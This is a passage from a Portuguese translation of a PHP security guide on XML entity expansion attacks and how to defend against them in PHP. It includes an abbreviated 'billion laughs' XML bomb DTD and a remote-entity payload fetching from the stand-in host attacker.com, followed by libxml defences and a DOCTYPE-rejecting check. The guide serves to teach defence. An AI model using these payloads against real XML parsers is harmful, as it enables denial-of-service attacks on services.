<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>

 

A abordagem XML Bomb não requer um tamanho XML grande que possa ser restringido pelo aplicativo. Sua resolução exponencial das entidades resulta em uma expansão de texto final que é 2 ^ 100 vezes o tamanho do &x0;valor da entidade. Isso é um grande e devastador BOOM!

Expansão da Entidade Remota

Os ataques de expansão de entidades normais e recursivas dependem de entidades definidas localmente no DTD do XML, mas um invasor também pode definir as entidades externamente. Isso obviamente requer que o analisador XML seja capaz de fazer solicitações HTTP remotas, que, como encontramos anteriormente na descrição da Injeção de Entidade Externa XML (XXE), devem ser desabilitadas para seu analisador XML como uma medida básica de segurança. Como resultado, a defesa contra o XXEs defende essa forma de ataque de expansão de entidades XML.

No entanto, a maneira como a expansão de entidade remota funciona é levando o analisador XML a fazer solicitações HTTP remotas para buscar o valor expandido das entidades referenciadas. Os resultados, então, definirão outras entidades externas para as quais o analisador XML deve fazer solicitações HTTP. Dessa forma, algumas solicitações de aparência inocente podem rapidamente sair do controle, sobrecarregando os recursos disponíveis do servidor, com o resultado final talvez englobando uma expansão de entidade recursiva apenas para piorar a situação.

<?xml version="1.0"?>
<!DOCTYPE results [
<!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
<result>3..2..1...&cascade<result>
</results>

 

O acima também permite uma abordagem mais desonesta para a execução de um ataque do DOS, caso as solicitações remotas sejam adaptadas para direcionar o aplicativo local ou qualquer outro aplicativo que compartilhe seus recursos de servidor. Isso pode levar a um ataque de DOS auto-infligido, onde tentativas de resolver entidades externas pelo analisador XML podem acionar várias solicitações para aplicativos hospedados localmente, consumindo assim uma proposta ainda maior de recursos do servidor. Esse método pode, portanto, ser usado para ampliar o impacto de nossa discussão anterior sobre o uso de ataques XML External Entity Injection (XXE) para executar um ataque do DOS.

Defesas contra a expansão de entidades XML

As defesas óbvias aqui são herdadas de nossas defesas para ataques comuns de Entidade Externa XML (XXE). Devemos desabilitar a resolução de entidades personalizadas em XML para arquivos locais e solicitações HTTP remotas usando a seguinte função que se aplica globalmente a todas as extensões XML do PHP que são usadas internamente libxml2.

libxml_disable_entity_loader(true);

O PHP, no entanto, tem a reputação peculiar de não implementar um meio óbvio de desabilitar completamente a definição de entidades customizadas usando um XML DTD via DOCTYPE. O PHP define uma LIBXML_NOENTconstante e também existe uma propriedade pública, DOMDocument::$substituteEntitiesmas nenhum deles tem efeito de melhoria. Parece que estamos presos a usar um conjunto improvisado de soluções alternativas.

No entanto, libxml2tem uma intolerância predefinida para a resolução de entidade recursiva, que acende seu log de erros como uma árvore de Natal. Como tal, não há nenhuma necessidade particular de implementar uma defesa específica contra entidades recursivas, embora devamos fazer algo de qualquer maneira, na chance de que libxml2ocorra uma recaída.

O novo perigo primário, portanto, é a abordagem inelegente do Ataque Golpe Quadrático ou da Expansão de Entidade Genérica. Esse ataque não requer chamadas de sistema locais ou remotas e não exige recursão de entidade. Na verdade, a única defesa é descartar XML ou limpar o XML, onde ele contém um arquivo DOCTYPE. Descartar o XML é a aposta mais segura, a menos que o uso de um DOCTYPEseja esperado e o recebamos de uma fonte confiável protegida, ou seja, recebemos por uma conexão HTTPS verificada por pares. Caso contrário, precisamos criar alguma lógica homebrewed na ausência do PHP, dando-nos uma opção de trabalho para desativar os DTDs. Supondo que você possa chamar libxml_disable_entity_loader(TRUE), o seguinte funcionará com segurança desde que a expansão da entidade é adiada até que o valor do nó infectado pela expansão seja acessado (o que não acontece durante essa verificação).

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            'Invalid XML: Detected use of illegal DOCTYPE'
        );
    }
}
 

É claro que o backup acima deve ser feito por meio de uma libxml_disable_entity_loaderconfiguração definida para TRUEque as referências de entidades externas não sejam resolvidas quando o XML for inicialmente carregado. Onde um analisador de XML não depende libxml2disso pode ser a única defesa possível, a menos que o analisador tenha um conjunto abrangente de opções que controlam como as entidades podem ser resolvidas.

Onde você pretende usar SimpleXML, tenha em mente que você pode importar um DOMDocumentobjeto verificado usando a simplexml_import_dom()função.

 

Este artigo é uma tradução de: https://phpsecurity.readthedocs.io/en/latest/Injection-Attacks.html#injection-attacks